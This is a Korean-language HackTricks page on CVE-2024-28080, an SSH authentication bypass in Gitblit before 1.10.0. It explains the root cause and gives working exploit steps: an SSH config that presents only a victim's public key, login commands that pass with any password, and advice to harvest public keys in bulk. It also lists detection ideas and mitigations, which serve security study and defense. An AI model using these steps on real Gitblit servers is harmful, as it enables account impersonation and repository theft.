Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

요약

CVE-2024-28080은 Apache MINA SSHD와 통합할 때 세션 상태 처리가 잘못되어 발생하는 Gitblit의 임베디드 SSH 서비스에서의 인증 우회 취약점입니다. 사용자 계정에 최소 하나의 SSH 공개 키가 등록되어 있으면, 공격자는 사용자 이름과 그 공개 키 중 하나를 알면 개인 키나 비밀번호 없이 인증할 수 있습니다.

  • 영향 대상: Gitblit < 1.10.0 (1.9.3에서 관찰됨)
  • 수정됨: 1.10.0
  • 악용을 위한 요구 조건:
    • 인스턴스에서 Git over SSH가 활성화되어야 함
    • 피해자 계정이 Gitblit에 최소 하나의 SSH 공개 키를 등록해놓음
    • 공격자가 피해자의 사용자 이름과 해당 공개 키 중 하나를 알고 있음(종종 https://github.com/.keys 등에서 확인 가능)

근본 원인 (state leaks between SSH methods)

RFC 4252에 따르면 공개키 인증은 두 단계로 진행됩니다: 서버는 먼저 제공된 공개 키가 해당 사용자 이름에 대해 허용되는지 확인하고, 서명된 challenge/response가 완료된 후에야 사용자를 인증합니다. MINA SSHD에서는 PublickeyAuthenticator가 두 번 호출됩니다: 키 허용 시(아직 서명 없음)와 나중에 클라이언트가 서명을 반환한 후입니다.

Gitblit의 PublickeyAuthenticator는 첫 번째 사전 서명 호출에서 인증된 UserModel을 세션에 바인딩하고 true ("key acceptable")를 반환하면서 세션 컨텍스트를 변경했습니다. 이후 인증이 비밀번호로 대체되었을 때, PasswordAuthenticator는 변경된 세션 상태를 신뢰하여 비밀번호를 검증하지 않고 단축 경로로 처리해 true를 반환했습니다. 그 결과, 동일한 사용자에 대해 이전에 public‑key "acceptance"가 있으면 아무 비밀번호(빈 문자열 포함)나 허용되었습니다.

문제의 흐름(개요):

  1. 클라이언트가 사용자 이름 + 공개 키를 제시(아직 서명 없음)
  2. 서버가 해당 키가 사용자에 속함을 인식하고 조기에 사용자를 세션에 연결한 뒤 true ("acceptable")를 반환
  3. 클라이언트가 서명할 수 없음(개인 키 없음) → 인증이 비밀번호로 대체됨
  4. 비밀번호 인증이 세션에 이미 사용자가 존재하는 것을 보고 조건 없이 성공을 반환

단계별 익스플로잇

  • 피해자의 사용자 이름과 공개 키 중 하나를 수집:
    • GitHub는 공개 키를 https://github.com/.keys 에 노출
    • 공개 서버는 종종 authorized_keys를 노출함
  • OpenSSH를 공개 키만 제시하도록 구성하여 서명 생성이 실패하게 만든다. 이렇게 하면 서버에서 public‑key 허용 경로를 트리거하면서도 서명이 없으므로 비밀번호로 대체되게 할 수 있다.

예시 SSH 클라이언트 설정(개인 키 없음):

sshconfig
# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)

연결한 후 비밀번호 프롬프트에서 Enter를 누르세요(또는 아무 문자열을 입력):

bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>

인증은 이전의 public‑key 단계가 세션을 인증된 사용자로 변형시켰기 때문에 성공하며, password auth가 그 상태를 잘못 신뢰합니다.

Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.

영향

  • 적어도 하나의 등록된 SSH public key를 가진 모든 Gitblit 사용자를 완전히 가장할 수 있음
  • 피해자의 권한에 따른 저장소에 대한 읽기/쓰기 접근 (source exfiltration, unauthorized pushes, supply‑chain risks)
  • 관리자 계정을 노린 경우 잠재적인 관리자 영향
  • 순수 네트워크 기반 익스플로잇; 무차별 대입이나 private key 불필요

탐지 아이디어

  • SSH 로그를 검토하여 publickey 시도 뒤에 빈 비밀번호 또는 매우 짧은 비밀번호로 성공한 password authentication이 이어지는 시퀀스를 찾으세요
  • 다음과 같은 흐름을 찾아보세요: 지원되지 않거나 일치하지 않는 키 재료를 제시하는 publickey method 뒤에 동일한 사용자명에 대해 즉시 password 성공이 발생하는 경우

완화 조치

  • Gitblit v1.10.0+로 업그레이드
  • 업그레이드 전까지:
  • Gitblit에서 Git over SSH를 비활성화하거나,
  • SSH 서비스에 대한 네트워크 접근을 제한하고,
  • 위에 설명된 의심스러운 패턴을 모니터링하세요
  • 침해가 의심되면 영향받은 사용자 자격증명을 교체하세요

일반: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)

패턴: 서버의 public‑key authenticator가 pre‑signature "key acceptable" 단계 동안 사용자/세션 상태를 변형시키고 다른 authenticators(예: password)가 그 상태를 신뢰하면, 다음 방법으로 인증을 우회할 수 있습니다:

  • 타깃 사용자에 대한 합법적 public key 제시(개인 키 불필요)
  • 클라이언트가 서명에 실패하도록 강제하여 서버가 password로 폴백하도록 함
  • password authenticator가 leaked 상태에서 조기 종료(short‑circuits)하는 동안 아무 비밀번호나 제공

실용적인 팁:

  • 대규모 public key 수집: https://github.com/.keys, 조직 디렉터리, 팀 페이지, leaked authorized_keys 같은 일반 소스에서 public keys를 수집하세요
  • 서명 실패 유도(클라이언트 측): IdentityFile을 .pub만 가리키도록 설정, IdentitiesOnly yes로 설정, PreferredAuthentications에 publickey 다음에 password가 포함되도록 유지
  • MINA SSHD 통합 주의점:
  • PublickeyAuthenticator.authenticate(...)는 post‑signature 검증 경로가 서명을 확인할 때까지 사용자/세션 상태를 첨부하면 안 됩니다
  • PasswordAuthenticator.authenticate(...)는 이전의 불완전한 인증 방법 동안 변형된 어떤 상태에서도 성공을 유추하면 안 됩니다

Related protocol/design notes and literature:

  • SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
  • Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기